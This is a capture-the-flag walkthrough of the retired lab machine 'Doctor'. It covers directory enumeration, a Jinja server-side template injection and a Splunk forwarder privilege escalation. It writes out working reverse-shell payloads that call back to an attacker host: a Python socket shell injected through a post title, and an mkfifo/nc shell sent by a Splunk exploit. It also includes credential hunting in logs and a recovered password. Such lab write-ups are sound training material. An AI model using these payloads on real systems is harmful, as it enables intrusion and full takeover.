Doctor

Name: Doctor
Release Date: 26 Sept 2020
Retire Date: 06 Feb 2021
OS: Linux
Base Points: Easy - Retired [0]
Rated Difficulty:
Radar Graph:
jkr 00 days, 03 hours, 36 mins, 05 seconds
xct 00 days, 03 hours, 36 mins, 12 seconds
Creator: egotisticalSW
Pentest Workshop PDF: Doctor.pdf

We now start off with 'python3 ../AutoRecon/src/autorecon/autorecon.py 10.10.10.215' 

 
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://10.10.10.209
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.209
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/03/10 22:12:57 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/server-status (Status: 403)
===============================================================
2021/03/10 22:15:17 Finished
===============================================================
 

Add doctors.htb to your /etc/hosts file and re-run Gobuster.

 
┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/dirb/wordlists/big.txt -u http://doctors.htb
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://doctors.htb
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/big.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2021/03/10 22:17:41 Starting gobuster
===============================================================
/account (Status: 302)
/archive (Status: 200)
/home (Status: 302)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
/reset_password (Status: 200)
/server-status (Status: 403)
===============================================================
2021/03/10 22:20:37 Finished
===============================================================
 

Use the registration link to create an account, then create and post a test message

Navigate to http://doctors.htb/archive and view the Source. The Title of that Test Message will be there.

That is an indication of a Server Side Template Injection vulnerability.
We have 2 different types of SSTI types.


https://www.exploit-db.com/exploits/46386 - Jinja
https://www.exploit-db.com/exploits/44102 - Twig

 

I try the Jinja one first.

 

Start Netcat listener on whichever your favorite port is (1234, 4444, 1337, etc.)

 

Create Post with the below code as the title:

 

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.26\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

 

Navigate to http://doctors.htb/archive and the reverse shell will connect.

 

Enumerate users by using cat /etc/passwd

Check logs for any passwords using:


grep -R -e 'password' /var/log/

 

A password was entered into the email field

web@doctor:~$ su shaun
su shaun
Password: Guitar123


shaun@doctor:/home/web$

 

Now we can move on to Privilege Escalation using the Splunk Universal Forwarder on port 8089.

 

Researching Splunk's Univeral Forwarder and its exploits, I came across this GitHub which seems to work well on this box, assuming Splunk's Forwarder is running as root.

 

https://github.com/cnotin/SplunkWhisperer2

 

Check root using

 

ps -aux | grep splunk

 

and we see that it is running as root

Progression to root here is pretty easy from here. 

 

In one terminal, start

 

sudo nc -lvp 444

 

In another terminal run:


┌──(kali㉿kali)-[~/SplunkWhisperer2/PySplunkWhisperer2]
└─$ python3 ./PySplunkWhisperer2_remote.py --host 10.10.10.209 --username shaun --password Guitar123 --lhost 10.10.14.26 --payload "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/bash -i 2>&1|nc 10.10.14.26 444 >/tmp/f"
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpet6hrwzq.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.14.26:8181/
10.10.10.209 - - [11/Mar/2021 12:09:39] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!
Press RETURN to cleanup

 

Your Netcat listener will pick up on the callback and you will have a root shell.  Grab your proof (user.txt, root.txt, whoami, hostname, and ifconfig) and you're golden!  Doctor Pwned!